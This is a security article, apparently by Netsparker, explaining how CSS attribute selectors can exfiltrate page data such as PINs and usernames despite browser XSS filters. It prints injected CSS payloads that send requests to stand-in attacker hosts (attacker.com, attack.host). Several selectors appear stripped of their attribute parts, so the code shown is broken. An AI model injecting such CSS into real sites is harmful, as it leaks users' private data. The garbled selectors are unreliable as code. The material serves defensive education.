securityboulevard.com
How Private Data Can Be Stolen with a CSS Injection
Modern browsers do an excellent job defending web applications against reflected Cross-site Scripting (XSS). They do so by using XSS filters that allow them to reliably block such attacks in the majority of cases. Though these filters were often bypassed in the past, modern versions constitute a huge step toward a secure web, free from one of its most prevalent vulnerabilities. The way these filters work is rather simple, yet highly effective. When your browser issues a request to a website, its inbuilt Cross-site Scripting filter checks whether: Executable JavaScript is found in the request to a website, like a block or an HTML element with an inline event handler The same executable JavaScript is found in the response from the server The JavaScript should be executed or not In theory, this works well, but the consequence is that there is no protection from stored XSS attacks. To defend against such a common vulnerability, it's important to implement a proper Content Security Policy (CSP). The procedure described above is closely tied to the X-XSS-Protection header. For a long time, the default header value has been '1', which translates to 'block the malicious script'. But lately, Google Chrome changed this to '1; mode=block', meaning 'prevent the whole page from loading'. This change in default behaviour comes at a time in which most browsers have caused hackers immense frustration by drastically reducing the opportunity for exploiting a reflected XSS vulnerability. Hackers Are Determined to Find Ways Around All Types of Web Security A dangerous, if admirable, characteristic of most hackers is that they don't accept defeat. Some are even pleased when they encounter a Web Application Firewall (WAF). The restrictions they then need to bypass are what makes them so fascinating to attackers. Attackers are forced to get creative when encountering a filter. And they learn more each time they succeed. So if browsers lock the front door by blocking reflected XSS, hackers will simply investigate whether they can smash some windows instead! Mike Gualtieri, a Cyber and Information Security expert from Pittsburgh, seems to be the kind of hacker that perfectly matches this description. But he took it one step further, as outlined in Stealing Data With CSS: Attack and Defense.. As we have already established, Google Chrome mostly attempts to prevent malicious JavaScript from running in the browser, because running scripts to steal sensitive information is exactly what many attackers try to do. But what if they don't actually need JavaScript in order to exfiltrate the data we want to read? Stealing Your Private Data With Cascading Style Sheets JavaScript and HTML are not the only native languages that all major web browsers support. For at least 20 years, Cascading Style Sheets (CSS) have been part of this group. It's not surprising that CSS has witnessed some major changes since its inception. What started as a way to paint a red dotted border around your div tags, became a highly functional language, enabling modern web design with features such as transitions, media queries and something that can be described as 'attribute selectors'. Instead of focusing solely on the obvious methods – using JavaScript or HTML – Mike Gualtieri found a way to exfiltrate data using CSS without Google Chrome's XSS filter catching him in the act. The key component of the attack, which he called 'CSS Exfil', is attribute selectors. As we've already discovered, CSS evolved over time and became increasingly complex. Did you know, for example, that you could set the color for every link that begins with 'https://netsparker.com/' on your website to green, just by using CSS? You can view how easy it is to do on JSFiddle (look, no JavaScript!). An everyday CSS selector may look similar to this one: a { color: red;} This will select all tags and set the color of their link text to red. This doesn't allow a great degree of flexibility though, and may even interfere with the rest of your web design. It's possible that you may want to set the color of internal links to a different color than external ones, in order to make it easier for visitors to see which link will navigate away from your website. What you can do is create a class like the one below and apply it to all anchor tags that point to internal links: .internal-link { color: green;} This is not necessarily an ideal situation; it adds more HTML code and you need to manually check that the correct class has been set for all internal links. Conveniently, CSS provides an easier solution to this problem. Selecting CSS Attributes CSS Attribute Selectors enable you to set the color of every link that begins with 'https://netsparker.com/' to green, for example: a { color: green;} This is a nice feature, but what does this have to with data exfiltration? Well, it's possible to issue outgoing requests by using the background directive in conjunction with url. If we combine this with an attribute selector, we can easily confirm the existence of certain data within HTML attributes on the page: input { background: url(https://attacker.com/log?pin=1234); } This CSS code will select any input tag that contains the name 'pin' and the value '1234'. By injecting the code into the page between the tags, it's possible to confirm that our guess was correct. If the pin was '5678', the selector wouldn't match the input box and no request would be issued to the attacker's server. This example does not describe the most useful attack out there, but it may be used to deanonymize users. This is another example of how such exfiltration may work. It is directly taken from Mike Gualtieri's previously mentioned work. #username~#aa{background:url("https://attack.host/aa");}#username~#ab{background:url("https://attack.host/ab");}#username~#ac{background:url("https://attack.host/ac");}#username~#a_{background:url("https://attack.host/a_");}#username~#_a{background:url("https://attack.host/_a");}#username~#ba{background:url("https://attack.host/ba");}#username~#bb{background:url("https://attack.host/bb");}#username~#bc{background:url("https://attack.host/bc");}#username~#b_{background:url("https://attack.host/b_");}#username~#_b{background:url("https://attack.host/_b");}#username~#ca{background:url("https://attack.host/ca");}#username~#cb{background:url("https://attack.host/cb");}#username~#cc{background:url("https://attack.host/cc");}#username~#c_{background:url("https://attack.host/c_");}#username~#_c{background:url("https://attack.host/_c");} Username:
Netsparker Security Team